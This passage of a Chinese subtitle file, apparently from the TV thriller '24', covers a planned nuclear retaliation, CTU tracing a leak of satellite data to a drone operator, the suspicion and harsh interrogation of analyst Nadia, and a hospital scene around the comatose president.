00:17:00,050\r\n今天早上袭击我们的恐怖分子\r\n\r\n359\r\n00:17:00,056 --> 00:17:03,083\r\n阿布.法耶德 在米瑞.格利丹克的帮助下\r\n\r\n360\r\n00:17:03,090 --> 00:17:05,038\r\n发射了一架无人驾驶飞机\r\n\r\n361\r\n00:17:05,038 --> 00:17:08,087\r\n而且我们认为上面载有一颗核弹\r\n\r\n362\r\n00:17:10,046 --> 00:17:14,023\r\n我们正在尽力搜索这架飞机\r\n\r\n363\r\n00:17:14,030 --> 00:17:16,063\r\n但如果搜索失败的话\r\n\r\n364\r\n00:17:16,070 --> 00:17:18,080\r\n在不到十个小时之内\r\n我们将要面对\r\n\r\n365\r\n00:17:18,086 --> 00:17:20,026\r\n第二枚核弹在美国国土上的爆炸\r\n\r\n366\r\n00:17:20,027 --> 00:17:21,076\r\n而且我已经下定决心\r\n\r\n367\r\n00:17:21,083 --> 00:17:23,066\r\n如果这次攻击发生\r\n\r\n368\r\n00:17:23,073 --> 00:17:27,003\r\n我们必须采取军事反击\r\n\r\n369\r\n00:17:27,010 --> 00:17:31,076\r\n对谁采取军事反击 副总统先生?\r\n\r\n370\r\n00:17:31,096 --> 00:17:33,020\r\n在我们的印象里\r\n\r\n371\r\n00:17:33,026 --> 00:17:35,061\r\n恐怖分子实际上是无国籍的\r\n\r\n372\r\n00:17:35,062 --> 00:17:39,031\r\n凯南部长 那是他们所制造的假象\r\n\r\n373\r\n00:17:39,033 --> 00:17:40,050\r\n但是...\r\n\r\n374\r\n00:17:40,056 --> 00:17:42,010\r\n在这个房间里的每个人都知道\r\n\r\n375\r\n00:17:42,016 --> 00:17:44,033\r\n阿布·法耶德的国家\r\n\r\n376\r\n00:17:44,040 --> 00:17:46,090\r\n训练并资助诸如此类的恐怖组织\r\n\r\n377\r\n00:17:46,096 --> 00:17:50,078\r\n现在是该让他们负责任的时候了\r\n\r\n378\r\n00:17:50,079 --> 00:17:52,030\r\n他们的大使刚才已被告知\r\n\r\n379\r\n00:17:52,036 --> 00:17:55,061\r\n如果无人驾驶器上的核弹被引爆的话\r\n\r\n380\r\n00:17:56,030 --> 00:17:59,050\r\n我们将会用核弹来予以还击\r\n\r\n381\r\n00:17:59,080 --> 00:18:01,088\r\n这只是一个警告\r\n\r\n382\r\n00:18:01,088 --> 00:18:03,042\r\n并不是一次全力的攻击\r\n\r\n383\r\n00:18:03,076 --> 00:18:06,070\r\n参谋长官们已经被指示找出\r\n\r\n384\r\n00:18:06,076 --> 00:18:08,083\r\n一片人烟稀少的地区\r\n\r\n385\r\n00:18:08,090 --> 00:18:11,040\r\n人民的伤亡将会被减至最低\r\n\r\n386\r\n00:18:11,046 --> 00:18:12,056\r\n海军上将\r\n\r\n387\r\n00:18:12,063 --> 00:18:15,060\r\n我们找到的最合适的地区是\r\n\r\n388\r\n00:18:15,066 --> 00:18:18,016\r\n他们北方边境的领土范围\r\n\r\n389\r\n00:18:18,023 --> 00:18:21,026\r\n我们认为死亡人数\r\n应该少于2000人\r\n\r\n390\r\n00:18:21,033 --> 00:18:23,093\r\n然而 辐射性落尘\r\n所带来的长期性伤害\r\n\r\n391\r\n00:18:24,000 --> 00:18:26,040\r\n人数将会翻一番\r\n这要视地面情况而定\r\n\r\n392\r\n00:18:26,046 --> 00:18:28,073\r\n这可以接受\r\n\r\n393\r\n00:18:28,080 --> 00:18:30,023\r\n副总统先生\r\n\r\n394\r\n00:18:30,030 --> 00:18:32,000\r\n我相信您也知道\r\n我们的情报部门显示\r\n\r\n395\r\n00:18:32,006 --> 00:18:34,023\r\n他们的政府也无法控制阿布.法耶德\r\n\r\n396\r\n00:18:35,043 --> 00:18:37,085\r\n他们已经尽力了\r\n\r\n397\r\n00:18:38,011 --> 00:18:41,039\r\n我是说\r\n他们应该想办法做的更好\r\n\r\n398\r\n00:18:42,070 --> 00:18:45,011\r\n他们就会做到\r\n\r\n399\r\n00:18:45,065 --> 00:18:48,086\r\n如果核弹真的爆炸了\r\n只会让形式更加恶劣\r\n\r\n400\r\n00:18:48,090 --> 00:18:51,000\r\n温和派将会丧失政权\r\n\r\n401\r\n00:18:51,006 --> 00:18:52,050\r\n恐怖分子的地位将被巩固\r\n\r\n402\r\n00:18:52,056 --> 00:18:54,036\r\n而且在这件事情上\r\n\r\n403\r\n00:18:54,043 --> 00:18:57,086\r\n我还没有听过任何人提到\r\n中国和俄罗斯对于此事的反应\r\n\r\n404\r\n00:18:57,093 --> 00:19:00,036\r\n我们可能会引发第三次世界大战\r\n\r\n405\r\n00:19:00,043 --> 00:19:02,043\r\n如果我认为\r\n这种可能性很高的话\r\n\r\n406\r\n00:19:02,050 --> 00:19:04,013\r\n我就不会做此提议了\r\n\r\n407\r\n00:19:04,020 --> 00:19:05,076\r\n副总统先生\r\n\r\n408\r\n00:19:05,083 --> 00:19:08,043\r\n这个赌注太大了\r\n\r\n409\r\n00:19:08,050 --> 00:19:10,046\r\n不能仅凭您的个人判断来决定此事\r\n\r\n410\r\n00:19:10,053 --> 00:19:12,006\r\n在我看来\r\n\r\n411\r\n00:19:12,013 --> 00:19:16,003\r\n这项行动是既危险又鲁莽的\r\n\r\n412\r\n00:19:18,008 --> 00:19:20,091\r\n我会考虑你的建议 凯伦\r\n\r\n413\r\n00:19:22,091 --> 00:19:25,089\r\n但这场辩论已经结束了\r\n\r\n414\r\n00:19:26,096 --> 00:19:29,045\r\n美国必须为自己的生存而战\r\n\r\n415\r\n00:19:29,046 --> 00:19:31,083\r\n对于我们国家的攻击\r\n必须立刻停止!\r\n\r\n416\r\n00:19:33,020 --> 00:19:34,033\r\n作为代理统帅\r\n\r\n417\r\n00:19:34,040 --> 00:19:37,016\r\n我认为这是最好的解决方法\r\n\r\n418\r\n00:19:41,050 --> 00:19:43,066\r\n海军上将\r\n\r\n419\r\n00:19:43,073 --> 00:19:46,096\r\n让核潜艇待命备战\r\n\r\n420\r\n00:19:47,003 --> 00:19:49,006\r\n遵命 副总统先生\r\n\r\n421\r\n00:20:09,067 --> 00:20:10,046\r\n娜迪亚?\r\n\r\n422\r\n00:20:10,053 --> 00:20:12,090\r\n我还没有收到\r\n你要发给我的SIM文件\r\n\r\n423\r\n00:20:12,096 --> 00:20:14,046\r\n哦 是的 你的系统超载了\r\n\r\n424\r\n00:20:14,053 --> 00:20:15,080\r\n我把文件发给莫里斯了\r\n\r\n425\r\n00:20:15,086 --> 00:20:17,086\r\n-他会帮你处理好的\r\n-莫里斯?\r\n\r\n426\r\n00:20:17,093 --> 00:20:19,066\r\n对\r\n\r\n427\r\n00:20:19,073 --> 00:20:21,076\r\n我说 你真的觉得他能处理好?\r\n\r\n428\r\n00:20:23,034 --> 00:20:24,063\r\n对 他看起来已经恢复正常了\r\n\r\n429\r\n00:20:25,053 --> 00:20:28,046\r\n他恢复正常\r\n是不是因为他喝了酒 人平静了?\r\n\r\n430\r\n00:20:28,053 --> 00:20:31,006\r\n我不这么认为\r\n\r\n431\r\n00:20:36,063 --> 00:20:37,063\r\n嘿\r\n\r\n432\r\n00:20:37,070 --> 00:20:39,003\r\n你在干什么?\r\n\r\n433\r\n00:20:39,010 --> 00:20:41,004\r\n根据无人驾驶飞机的卫星信息\r\n\r\n434\r\n00:20:41,004 --> 00:20:42,059\r\n建立一条反向数据流\r\n\r\n435\r\n00:20:43,086 --> 00:20:46,036\r\n莫里斯看起来好些了\r\n\r\n436\r\n00:20:47,068 --> 00:20:49,020\r\n你是在问我吗?\r\n\r\n437\r\n00:20:50,088 --> 00:20:51,086\r\n是不是呢?\r\n\r\n438\r\n00:20:51,093 --> 00:20:53,063\r\n是\r\n\r\n439\r\n00:20:53,070 --> 00:20:56,046\r\n我想请你帮个忙\r\n\r\n440\r\n00:20:56,053 --> 00:20:57,050\r\n不\r\n\r\n441\r\n00:20:57,056 --> 00:20:58,093\r\n我要你去检查他是否喝过酒\r\n\r\n442\r\n00:20:59,000 --> 00:21:00,060\r\n如果他好些了 那再好不过\r\n\r\n443\r\n00:21:00,066 --> 00:21:01,076\r\n但如果他又喝酒了\r\n\r\n444\r\n00:21:01,083 --> 00:21:03,016\r\n而且可能再崩溃一次\r\n\r\n445\r\n00:21:03,023 --> 00:21:04,090\r\n我们有必要知道\r\n\r\n446\r\n00:21:04,096 --> 00:21:07,090\r\n行\r\n\r\n447\r\n00:21:26,093 --> 00:21:28,010\r\n为什么亲我?\r\n\r\n448\r\n00:21:28,016 --> 00:21:30,013\r\n就是看看你有没有喝酒\r\n\r\n449\r\n00:21:35,013 --> 00:21:36,056\r\n他很好\r\n\r\n450\r\n00:21:36,063 --> 00:21:38,046\r\n谢谢\r\n\r\n451\r\n00:21:41,056 --> 00:21:44,020\r\n我真是爱死这个地方了\r\n\r\n452\r\n00:21:44,026 --> 00:21:45,043\r\n汤姆\r\n\r\n453\r\n00:21:45,050 --> 00:21:46,046\r\n汤姆\r\n\r\n454\r\n00:21:46,053 --> 00:21:47,063\r\n凯伦 我听见了\r\n\r\n455\r\n00:21:47,070 --> 00:21:49,086\r\n你根本不可能同意\r\n\r\n456\r\n00:21:49,093 --> 00:21:51,076\r\n丹尼尔斯进行核武器打击的计划\r\n\r\n457\r\n00:21:51,083 --> 00:21:53,023\r\n你也听到副总统怎么说的了\r\n\r\n458\r\n00:21:53,030 --> 00:21:56,020\r\n这只是一个警告\r\n我们的目标是人烟稀少的地区\r\n\r\n459\r\n00:21:56,026 --> 00:21:58,093\r\n这是对其他国家的\r\n一次侵略性的军事进攻\r\n\r\n460\r\n00:21:59,000 --> 00:22:00,080\r\n你我都清楚\r\n\r\n461\r\n00:22:00,086 --> 00:22:03,073\r\n靠武力强压并不能解决问题\r\n\r\n462\r\n00:22:03,080 --> 00:22:06,096\r\n汤姆 你知道这么做是很疯狂的\r\n我知道你是这么认为的\r\n\r\n463\r\n00:22:07,003 --> 00:22:08,020\r\n我在会议中看到你的表情\r\n\r\n464\r\n00:22:07,096 --> 00:22:09,063\r\n我看到了你眼中的疑虑\r\n\r\n465\r\n00:22:10,073 --> 00:22:12,053\r\n不要自以为是的认为\r\n\r\n466\r\n00:22:12,060 --> 00:22:14,090\r\n你知道我怎么想的\r\n和我的感受\r\n\r\n467\r\n00:22:14,096 --> 00:22:17,064\r\n我是为那些判断力\r\n在我之上的人工作的\r\n\r\n468\r\n00:22:17,074 --> 00:22:19,086\r\n你是为总统的利益服务\r\n\r\n469\r\n00:22:19,093 --> 00:22:21,036\r\n你知道韦恩\r\n\r\n470\r\n00:22:21,043 --> 00:22:23,000\r\n是绝对不会\r\n在这项行动计划书上签字的\r\n\r\n471\r\n00:22:23,006 --> 00:22:24,030\r\n韦恩错了\r\n\r\n472\r\n00:22:24,036 --> 00:22:26,040\r\n他今天做每一个决定都是错的\r\n\r\n473\r\n00:22:26,046 --> 00:22:28,030\r\n驳回我的安全提案\r\n\r\n474\r\n00:22:28,036 --> 00:22:30,066\r\n利用阿萨德呼吁极端主义分子\r\n\r\n475\r\n00:22:31,066 --> 00:22:33,010\r\n看看我们现在的处境吧!\r\n\r\n476\r\n00:22:33,011 --> 00:22:34,016\r\n你不会真的相信这些吧\r\n\r\n477\r\n00:22:34,023 --> 00:22:35,016\r\n不 你不可能\r\n\r\n478\r\n00:22:35,023 --> 00:22:37,053\r\n我相信什么都不重要\r\n\r\n479\r\n00:22:37,060 --> 00:22:39,090\r\n只要总统还在昏迷之中\r\n\r\n480\r\n00:22:39,096 --> 00:22:42,060\r\n丹尼尔斯就是代理三军统帅\r\n\r\n481\r\n00:22:42,066 --> 00:22:44,081\r\n如果你想让他下令终止导弹发射\r\n\r\n482\r\n00:22:44,092 --> 00:22:46,046\r\n那你最好祈求老天保佑\r\n\r\n483\r\n00:22:46,053 --> 00:22:50,019\r\n反恐小组能够找到\r\n并阻止无人驾驶飞机\r\n\r\n484\r\n00:22:54,026 --> 00:22:56,060\r\n所有路线都有我们的地面部队\r\n\r\n485\r\n00:22:56,066 --> 00:22:58,046\r\n开进影子谷 寻找法耶德和格利丹克\r\n\r\n486\r\n00:22:58,053 --> 00:23:01,006\r\n但是SAT支持\r\n要集中精力找回无人驾驶器\r\n\r\n487\r\n00:23:01,013 --> 00:23:02,030\r\n所以那边并没有多少进展\r\n\r\n488\r\n00:23:02,036 --> 00:23:05,018\r\n道路交通部在边远地区\r\n没有安装摄像头\r\n\r\n489\r\n00:23:05,033 --> 00:23:07,006\r\n布坎南先生 我们弄清楚\r\n\r\n490\r\n00:23:07,013 --> 00:23:08,073\r\n为什么无人驾驶飞机\r\n\r\n491\r\n00:23:08,080 --> 00:23:09,023\r\n可以躲过我们的卫星了\r\n\r\n492\r\n00:23:09,023 --> 00:23:10,016\r\n不管是谁在驾驶它\r\n\r\n493\r\n00:23:10,017 --> 00:23:13,010\r\n他都能够预期我们的从新配置指示\r\n\r\n494\r\n00:23:13,016 --> 00:23:14,083\r\n从图像的缝隙中飞行\r\n\r\n495\r\n00:23:14,090 --> 00:23:15,066\r\n他是怎么做到?\r\n\r\n496\r\n00:23:15,066 --> 00:23:18,003\r\n我们的卫星数据\r\n通过这里的一个工作台\r\n\r\n497\r\n00:23:18,010 --> 00:23:19,086\r\n传输给飞机的驾驶人员\r\n\r\n498\r\n00:23:19,093 --> 00:23:21,006\r\n我们内部有奸细\r\n\r\n499\r\n00:23:24,010 --> 00:23:25,060\r\n是我们自己人?\r\n\r\n500\r\n00:23:25,066 --> 00:23:26,083\r\n看起来是\r\n\r\n501\r\n00:23:26,090 --> 00:23:28,050\r\n你能将这个工作台分开吗?\r\n\r\n502\r\n00:23:28,056 --> 00:23:30,076\r\n不行 它是通过\r\n一个子回路隐藏起来的\r\n\r\n503\r\n00:23:30,083 --> 00:23:31,074\r\n莫里斯正在想办法追查\r\n\r\n504\r\n00:23:31,074 --> 00:23:33,050\r\n不过这幢大楼里有50多个工作台\r\n\r\n505\r\n00:23:33,051 --> 00:23:35,040\r\n要追查信号可能要花上1小时\r\n\r\n506\r\n00:23:35,043 --> 00:23:36,073\r\n我们没有一个小时\r\n\r\n507\r\n00:23:39,086 --> 00:23:40,090\r\n对娜迪亚.以瑟尔的工作台\r\n\r\n508\r\n00:23:40,096 --> 00:23:42,043\r\n进行跟踪对比测试\r\n\r\n509\r\n00:23:43,030 --> 00:23:44,066\r\n为什么是娜迪亚\r\n\r\n510\r\n00:23:44,073 --> 00:23:45,076\r\n快做\r\n\r\n511\r\n00:23:45,083 --> 00:23:47,000\r\n慢着 就因为娜迪亚是穆斯林\r\n\r\n512\r\n00:23:47,006 --> 00:23:48,010\r\n你就可以...\r\n\r\n513\r\n00:23:48,016 --> 00:23:49,046\r\n我是在按照标准程序办事\r\n\r\n514\r\n00:23:49,053 --> 00:23:50,080\r\n-标准程序?\r\n-她已经被单独列出来了\r\n\r\n515\r\n00:23:50,086 --> 00:23:52,003\r\n而且她的通行许可已经受到限制\r\n\r\n516\r\n00:23:53,016 --> 00:23:54,073\r\n对\r\n\r\n517\r\n00:23:54,080 --> 00:23:56,073\r\n她是穆斯林\r\n\r\n518\r\n00:23:56,080 --> 00:23:57,093\r\n就凭这一点就足够了\r\n\r\n519\r\n00:23:58,000 --> 00:23:59,046\r\n即使没有人嘴上议论\r\n\r\n520\r\n00:23:59,053 --> 00:24:00,086\r\n可是大家心里都是这么想的\r\n\r\n521\r\n00:24:01,086 --> 00:24:02,070\r\n你这个种族主义者\r\n\r\n522\r\n00:24:02,076 --> 00:24:03,070\r\n麦洛\r\n\r\n523\r\n00:24:03,076 --> 00:24:05,010\r\n我知道你不赞成\r\n\r\n524\r\n00:24:05,016 --> 00:24:07,046\r\n但是 我们要逐个检查\r\n这里的所有系统\r\n\r\n525\r\n00:24:07,053 --> 00:24:09,073\r\n从娜迪亚开始 也不是说不通\r\n\r\n526\r\n00:24:09,080 --> 00:24:11,096\r\n不是 长官 有很多原因的\r\n\r\n527\r\n00:24:12,003 --> 00:24:14,032\r\n娜迪亚.以瑟尔\r\n对这个国家完全忠诚\r\n\r\n528\r\n00:24:14,032 --> 00:24:15,083\r\n她决不是恐怖分子\r\n\r\n529\r\n00:24:15,090 --> 00:24:17,083\r\n你的评价是基于你私下对她的了解\r\n\r\n530\r\n00:24:17,090 --> 00:24:19,080\r\n还是因为你想跟她上床?\r\n\r\n531\r\n00:24:19,086 --> 00:24:21,043\r\n-你这狗...\r\n-好了!\r\n\r\n532\r\n00:24:21,050 --> 00:24:22,016\r\n闹够了\r\n\r\n533\r\n00:24:23,063 --> 00:24:25,066\r\n道尔探员\r\n\r\n534\r\n00:24:25,073 --> 00:24:27,016\r\n你太过分了\r\n\r\n535\r\n00:24:27,023 --> 00:24:29,066\r\n我们没有时间处理你们两个人分歧\r\n\r\n536\r\n00:24:29,073 --> 00:24:32,096\r\n我们必需要找出\r\n谁在暗中破坏我们的系统\r\n\r\n537\r\n00:24:36,073 --> 00:24:37,073\r\n是娜迪亚\r\n\r\n538\r\n00:24:39,020 --> 00:24:41,016\r\n辨识信号符合她的电脑\r\n\r\n539\r\n00:24:41,023 --> 00:24:42,086\r\n关掉她的工作台\r\n\r\n540\r\n00:24:42,087 --> 00:24:44,067\r\n我尽量\r\n唯一中断数据外流的方法就是...\r\n\r\n541\r\n00:24:44,077 --> 00:24:46,014\r\n重启反恐小组的主机\r\n\r\n542\r\n00:24:46,014 --> 00:24:48,051\r\n但是那样 我们至少\r\n会有二十分钟没有系统电源\r\n\r\n543\r\n00:24:48,061 --> 00:24:50,066\r\n让保安进来\r\n\r\n544\r\n00:24:59,090 --> 00:25:01,063\r\n请交出你的工作台\r\n\r\n545\r\n00:25:01,070 --> 00:25:03,003\r\n你说什么?\r\n\r\n546\r\n00:25:03,010 --> 00:25:05,076\r\n-你把我们的卫星数据传给谁?\r\n-什么?\r\n\r\n547\r\n00:25:05,083 --> 00:25:07,033\r\n-飞机的导航系统在哪?\r\n-道尔 真见鬼\r\n\r\n548\r\n00:25:07,040 --> 00:25:08,036\r\n够了\r\n\r\n549\r\n00:25:12,006 --> 00:25:13,023\r\n带她去拘留室\r\n\r\n550\r\n00:25:13,030 --> 00:25:15,003\r\n比尔 别让他把我抓起来\r\n\r\n551\r\n00:25:15,044 --> 00:25:16,057\r\n比尔 我是无辜的\r\n\r\n552\r\n00:25:16,057 --> 00:25:17,051\r\n我不是叛徒\r\n\r\n553\r\n00:25:30,073 --> 00:25:31,080\r\n莫里斯\r\n\r\n554\r\n00:25:31,086 --> 00:25:33,050\r\n不要让别人靠近他的工作台\r\n\r\n555\r\n00:25:33,056 --> 00:25:35,013\r\n看看能不能利用反向追踪\r\n\r\n556\r\n00:25:35,020 --> 00:25:36,066\r\n查一下消息泄漏的途径\r\n\r\n557\r\n00:25:36,073 --> 00:25:38,050\r\n查查看出数据流向哪里\r\n\r\n558\r\n00:25:38,056 --> 00:25:40,053\r\n失陪了\r\n\r\n559\r\n00:25:54,063 --> 00:25:55,076\r\n维克多\r\n\r\n560\r\n00:25:55,083 --> 00:25:59,023\r\n无人驾驶飞机现在在哪里\r\n\r\n561\r\n00:25:59,030 --> 00:26:02,074\r\n目标东南方向130英里\r\n\r\n562\r\n00:26:03,090 --> 00:26:06,060\r\n全球定位体系坐标锁定了吗?\r\n\r\n563\r\n00:26:06,066 --> 00:26:08,006\r\n已经锁定\r\n\r\n564\r\n00:26:08,013 --> 00:26:12,033\r\n炸弹20分钟后在旧金山爆炸\r\n\r\n565\r\n00:26:30,093 --> 00:26:33,020\r\n50毫升 点滴速度要平稳\r\n\r\n566\r\n00:26:33,026 --> 00:26:36,036\r\n1小时候后再加点葡萄糖\r\n\r\n567\r\n00:26:36,043 --> 00:26:37,056\r\n只要你看到什么 任何细微的动作\r\n\r\n568\r\n00:26:37,063 --> 00:26:39,000\r\n那怕只是眼皮的抽动 立刻叫我\r\n\r\n569\r\n00:26:39,006 --> 00:26:41,016\r\n知道了么?\r\n\r\n570\r\n00:26:42,023 --> 00:26:43,080\r\n瓦尔顿医生\r\n\r\n571\r\n00:26:43,086 --> 00:26:45,020\r\n我有话跟你说\r\n\r\n572\r\n00:26:45,026 --> 00:26:46,063\r\n我没有太多时间 海斯女士\r\n\r\n573\r\n00:26:46,070 --> 00:26:48,060\r\n总统情况怎样?\r\n\r\n574\r\n00:26:48,066 --> 00:26:50,046\r\n15分钟前病情恶化\r\n\r\n575\r\n00:26:50,053 --> 00:26:53,013\r\n颅内压不断增高\r\n\r\n576\r\n00:26:53,013 --> 00:26:54,020\r\n为了缓解脑部水肿\r\n\r\n577\r\n00:26:54,026 --> 00:26:55,022\r\n我们不得不用人工方法诱发昏迷\r\n\r\n578\r\n00:26:55,050 --> 00:26:56,050\r\n我明白了\r\n\r\n579\r\n00:26:56,056 --> 00:26:58,013\r\n好消息是我们及时控制了病情\r\n\r\n580\r\n00:26:58,020 --> 00:27:00,020\r\n没有神经系统损伤的迹象\r\n\r\n581\r\n00:27:00,026 --> 00:27:02,053\r\n他的各个器官异常顽强\r\n\r\n582\r\n00:27:02,060 --> 00:27:04,030\r\n他是个战士\r\n\r\n583\r\n00:27:04,036 --> 00:27:06,013\r\n我们也是那样\r\n失陪了\r\n\r\n584\r\n00:27:06,020 --> 00:27:07,026\r\n大夫\r\n\r\n585\r\n00:27:07,033 --> 00:27:08,063\r\n还有事吗?\r\n\r\n586\r\n00:27:08,070 --> 00:27:11,006\r\n你有没有办法\r\n\r\n587\r\n00:27:11,013 --> 00:27:12,066\r\n能让总统恢复意识?\r\n\r\n588\r\n00:27:12,073 --> 00:27:15,046\r\n我知道这是个不寻常的请求\r\n\r\n589\r\n00:27:15,053 --> 00:27:18,096\r\n但是我要跟他谈的\r\n事关系到国家安全\r\n\r\n590\r\n00:27:19,003 --> 00:27:20,040\r\n抱歉\r\n\r\n591\r\n00:27:20,046 --> 00:27:22,040\r\n那样做可能会危及到他的生命\r\n\r\n592\r\n00:27:22,046 --> 00:27:23,050\r\n我不能授权这样做\r\n\r\n593\r\n00:27:23,056 --> 00:27:24,070\r\n谁可以?\r\n\r\n594\r\n00:27:24,076 --> 00:27:27,056\r\n我需要得到家属的同意\r\n\r\n595\r\n00:27:27,063 --> 00:27:29,013\r\n他的姐姐在这儿\r\n\r\n596\r\n00:27:29,020 --> 00:27:32,000\r\n不过我强烈反对这么做\r\n\r\n597\r\n00:27:32,006 --> 00:27:33,033\r\n如果水肿不能得到控制\r\n\r\n598\r\n00:27:33,040 --> 00:27:36,070\r\n总统大脑会受到永久性损伤\r\n\r\n599\r\n00:27:36,076 --> 00:27:38,073\r\n我得走了 海斯女士\r\n\r\n600\r\n00:28:17,080 --> 00:28:19,096\r\n简直疯了\r\n\r\n601\r\n00:28:21,046 --> 00:28:23,046\r\n娜迪亚不可能参与了这件事\r\n\r\n602\r\n00:28:23,053 --> 00:28:25,083\r\n信号是从她的工作台发射出去的\r\n\r\n603\r\n00:28:25,090 --> 00:28:27,022\r\n我们不能忽视这个事实\r\n\r\n604\r\n00:28:27,022 --> 00:28:28,043\r\n你真的认为娜迪亚\r\n\r\n605\r\n00:28:28,050 --> 00:28:30,080\r\n在协助那些恐怖分子?\r\n\r\n606\r\n00:28:30,086 --> 00:28:32,076\r\n我不愿意相信这是真的\r\n但我真的不知道\r\n\r\n607\r\n00:28:35,060 --> 00:28:36,043\r\n道尔就是个混蛋\r\n\r\n608\r\n00:28:36,050 --> 00:28:37,083\r\n他只是做他应该做的\r\n\r\n609\r\n00:28:37,090 --> 00:28:40,028\r\n如果我们想制止他\r\n我们必须证明娜迪亚是清白的\r\n\r\n610\r\n00:28:42,020 --> 00:28:44,013\r\n嗨 我想我发现了线索\r\n\r\n611\r\n00:28:44,020 --> 00:28:45,046\r\n发现什么了\r\n\r\n612\r\n00:28:45,053 --> 00:28:46,073\r\n我发送了一个反馈脉冲\r\n\r\n613\r\n00:28:46,080 --> 00:28:48,040\r\n不管娜迪亚把数据发给谁\r\n\r\n614\r\n00:28:48,046 --> 00:28:50,040\r\n这接受信号的人\r\n会把我发的反馈脉冲当成静电干扰\r\n\r\n615\r\n00:28:50,046 --> 00:28:52,026\r\n但是我们就可以顺着这个脉冲\r\n\r\n616\r\n00:28:52,033 --> 00:28:54,075\r\n一直追到信号源头\r\n找到飞机导航员的所在地\r\n\r\n617\r\n00:28:55,023 --> 00:28:56,033\r\n我找到了\r\n\r\n618\r\n00:28:56,040 --> 00:28:58,030\r\n希尔克雷斯特街1530号\r\n\r\n619\r\n00:28:58,036 --> 00:28:59,043\r\n希尔克雷斯特街 很近啊\r\n\r\n620\r\n00:28:59,050 --> 00:29:00,063\r\n非常进 离这儿三个街区\r\n\r\n621\r\n00:29:00,070 --> 00:29:02,026\r\n好 告诉布坎南\r\n\r\n622\r\n00:29:05,063 --> 00:29:08,006\r\n我再说一次 乖乖合作吧\r\n\r\n623\r\n00:29:08,013 --> 00:29:11,043\r\n帮我把这件事了结了\r\n\r\n624\r\n00:29:19,036 --> 00:29:20,076\r\n我警告你\r\n\r\n625\r\n00:29:20,083 --> 00:29:24,076\r\n我会不惜代价\r\n得到我想要的答案\r\n\r\n626\r\n00:29:24,083 --> 00:29:26,050\r\n听懂了吗?\r\n\r\n627\r\n00:29:26,056 --> 00:29:29,026\r\n听懂了吗?\r\n\r\n628\r\n00:29:39,096 --> 00:29:42,061\r\n我什么都明白\r\n\r\n629\r\n00:29:43,076 --> 00:29:45,043\r\n我读过你的档案\r\n\r\n630\r\n00:29:45,050 --> 00:29:49,036\r\n我知道你在丹佛干了些什么\r\n\r\n631\r\n00:29:49,043 --> 00:29:51,013\r\n你以伤人为乐\r\n\r\n632\r\n00:29:51,020 --> 00:29:53,033\r\n你还因此被降职\r\n\r\n633\r\n00:29:53,040 --> 00:29:54,083\r\n我们到这来不是谈我的\r\n\r\n634\r\n00:29:54,090 --> 00:29:57,097\r\n我们要谈谈你知道什么\r\n\r\n635\r\n00:29:59,003 --> 00:30:02,080\r\n我什么都不知道\r\n\r\n636\r\n00:30:02,086 --> 00:30:04,030\r\n离她远点儿 道尔\r\n\r\n637\r\n00:30:06,096 --> 00:30:08,053\r\n我说了放开她\r\n\r\n638\r\n00:30:08,060 --> 00:30:10,043\r\n你到底在干什么?\r\n\r\n639\r\n00:30:10,050 --> 00:30:12,016\r\n我们用娜迪亚的电脑\r\n\r\n640\r\n00:30:12,023 --> 00:30:13,040\r\n找到了飞机导航员的所在地\r\n\r\n641\r\n00:30:16,090 --> 00:30:18,040\r\n离这三个街区\r\n\r\n642\r\n00:30:18,046 --> 00:30:20,003\r\n希尔克雷斯特街 1530号\r\n\r\n643\r\n00:30:22,093 --> 00:30:24,090\r\n我跟她可还没完呢 麦洛\r\n\r\n644\r\n00:30:32,081 --> 00:30:34,023\r\n你怎么样?\r\n\r\n645\r\n00:30:39,080 --> 00:30:41,033\r\n麦洛?\r\n\r\n646\r\n00:30:43,001 --> 00:30:45,006\r\n你知道我是无辜的\r\n\r\n647\r\n00:30:52,010 --> 00:30:54,003\r\n你出去\r\n\r\n648\r\n00:31:55,000 --> 00:31:57,003\r\n探员 有什么情况?\r\n\r\n649\r\n00:31:57,003 --> 00:31:58,042\r\n我们找到了无人驾驶飞机的导航员\r\n\r\n650\r\n00:31:58,042 --> 00:31:59,073\r\n我们现在出发\r\n\r\n651\r\n00:32:05,006 --> 00:32:08,036\r\n你们可能都知道了\r\n不管是谁在操控无人驾驶飞机\r\n\r\n652\r\n00:32:08,043 --> 00:32:10,060\r\n他就在反恐小组附近\r\n\r\n653\r\n00:32:10,066 --> 00:32:13,043\r\n我现在下达一级安全封锁令\r\n\r\n654\r\n00:32:13,050 --> 00:32:16,060\r\n在新的指令颁布之前\r\n所有的临时安全措施即刻生效\r\n\r\n655\r\n00:32:16,066 --> 00:32:19,020\r\n大家开工\r\n\r\n656\r\n00:32:21,006 --> 00:32:23,073\r\n玛希\r\n\r\n657\r\n00:32:23,080 --> 00:32:25,020\r\n联系洛杉矶警方\r\n\r\n658\r\n00:32:25,026 --> 00:32:26,066\r\n让他们和战术小组配合\r\n\r\n659\r\n00:32:26,073 --> 00:32:28,096\r\n-建立安全警戒线\r\n-遵命 长官\r\n\r\n660\r\n00:32:30,026 --> 00:32:31,090\r\n克洛伊...\r\n\r\n661\r\n00:32:31,096 --> 00:32:33,013\r\n他们确认地址了吗\r\n\r\n662\r\n00:32:33,020 --> 00:32:34,046\r\n嗯 是个中继站\r\n\r\n663\r\n00:32:34,053 --> 00:32:35,096\r\n我已经拿到建筑详图了\r\n\r\n664\r\n00:32:36,003 --> 00:32:37,043\r\n我需要一个PDA和一部手机\r\n\r\n665\r\n00:32:37,050 --> 00:32:38,096\r\n-我拿给你\r\n-谢谢\r\n\r\n666\r\n00:32:39,003 --> 00:32:40,070\r\n杰克 你在做什么?\r\n\r\n667\r\n00:32:40,076 --> 00:32:43,036\r\n我要和战术小组一起去\r\n\r\n668\r\n00:32:43,043 --> 00:32:45,066\r\n你有伤在身 应该接受治疗\r\n\r\n669\r\n00:32:45,073 --> 00:32:47,093\r\n你应该告诉我奥德莉的事 比尔\r\n\r\n670\r\n00:32:50,093 --> 00:32:53,048\r\n我们当时要求你准备牺牲性命 杰克\r\n\r\n671\r\n00:32:53,050 --> 00:32:55,060\r\n在那种情况下我觉得\r\n告诉你奥德莉的意外不太妥当\r\n\r\n672\r\n00:32:55,080 --> 00:32:57,031\r\n那并不是个意外事故\r\n她是被谋杀的\r\n\r\n673\r\n00:32:57,033 --> 00:32:58,030\r\n没有人能确定这一点\r\n\r\n674\r\n00:32:58,036 --> 00:33:00,033\r\n我知道是这样\r\n\r\n675\r\n00:33:01,060 --> 00:33:03,009\r\n比尔 奥德莉为了把我\r\n从中国监狱救出来\r\n\r\n676\r\n00:33:03,010 --> 